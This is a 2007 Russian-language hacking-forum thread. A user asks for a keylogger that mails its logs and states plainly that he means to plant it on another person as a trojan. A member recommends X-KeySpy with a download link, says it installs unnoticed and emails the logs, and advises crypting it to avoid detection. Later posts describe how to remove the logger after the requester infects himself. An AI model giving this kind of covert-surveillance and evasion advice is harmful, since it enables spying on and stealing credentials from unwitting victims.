Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
23.01.2007, 22:22
|
|
Познающий
Регистрация: 15.01.2007
Сообщений: 41
Провел на форуме:
267196
Репутация:
6
|
|
Кейлогер нужен
Дайте плиз линк на хорошего кейлогера, только мыльного, типа как в пинче и хинче, но только чтоб работал.
___________
Спасибо!
|
|
|
23.01.2007, 22:25
|
|
Постоянный
Регистрация: 05.07.2006
Сообщений: 458
Провел на форуме:
2943499
Репутация:
807
|
|
|
|
|
|
23.01.2007, 23:39
|
|
Познающий
Регистрация: 15.01.2007
Сообщений: 41
Провел на форуме:
267196
Репутация:
6
|
|
Я че то не понял как его юзать то, даже не врубился где ключ вводить... а то 10 дней всего, да и руссика на него че то не нашел...
|
|
|
|
23.01.2007, 23:42
|
|
Участник форума
Регистрация: 11.09.2006
Сообщений: 239
Провел на форуме:
626169
Репутация:
167
|
|
X-KeySpy v0.7
_http://freeshells.ch/~hsi/xkeyspy.zip
Очень приличный логгер. Имеет собственный smtp-сервер для отправки отчетов.
P.S. После конфигурирования желательно закриптовать тело.
|
|
|
|
23.01.2007, 23:49
|
|
Участник форума
Регистрация: 30.10.2006
Сообщений: 238
Провел на форуме:
966901
Репутация:
444
|
|
http://www.actualspy.ru/
http://www.z-oleg.com/secur/articles/keylogger.php
http://worldcpp.vingrad.ru/vspp/zgrt117.php
http://content.mail.ru/pages/p_1684.html
http://www.izcity.com/lib/28042005.htm
гуглим товарищ
|
|
|
|
23.01.2007, 23:56
|
|
Познающий
Регистрация: 15.01.2007
Сообщений: 41
Провел на форуме:
267196
Репутация:
6
|
|
Про актруал спай знаю, у самого стоит.., вы меня видимо не так поняли... мне нужно впарить кейлогер челу, как трояна, а потом просто словить лог на мыло или на хост, а эти вроде не по такому принцыпу работают..
Или я ошибаюсь, поправьте если че..
|
|
|
|
24.01.2007, 00:22
|
|
Участник форума
Регистрация: 11.09.2006
Сообщений: 239
Провел на форуме:
626169
Репутация:
167
|
|
Benzin
Ну вот xkeyspy по такому принципу и работает. После запуска незаметно устанавливается в системе и шлет логи на указанный при конфигурации email. Размер сжатого тела - 5 Кб.
|
|
|
|
24.01.2007, 00:47
|
|
Познающий
Регистрация: 15.01.2007
Сообщений: 41
Провел на форуме:
267196
Репутация:
6
|
|
Сообщение от hsi
Benzin
Ну вот xkeyspy по такому принципу и работает. После запуска незаметно устанавливается в системе и шлет логи на указанный при конфигурации email. Размер сжатого тела - 5 Кб.
Пасиб, я уже понял после того как установил его.., я так понимаю впаривать надо сам keylogger. Я его себе запустил, где его искать теперь и как избавиться?
|
|
|
|
24.01.2007, 01:15
|
|
Участник форума
Регистрация: 11.09.2006
Сообщений: 239
Провел на форуме:
626169
Репутация:
167
|
|
Benzin
Вот это я не помню.
Проще всего тебе будет запустить AVP и удалить им, так как эта версия некриптованная и ее сигнатура есть в базе.
Либо запустить еще раз и отследить манипуляции с ФС и реестром с помощью Regshot, File Monitor
Последний раз редактировалось hsi; 24.01.2007 в 01:23..
|
|
|
|
24.01.2007, 01:46
|
|
Участник форума
Регистрация: 11.09.2006
Сообщений: 239
Провел на форуме:
626169
Репутация:
167
|
|
Расковырял я его.
Логгер делает следующее:
Пишет в реестр -
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run\svroot с параметром C:\WINDOWS\system32\svroot.exe
Пишет в системную папку два файла:
C:\WINDOWS\system32\svroot.dll
C:\WINDOWS\system32\gorsys32.dll
Чтобы избавиться от логгера достаточно удалить параметр из реестра и тело из системной папки.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
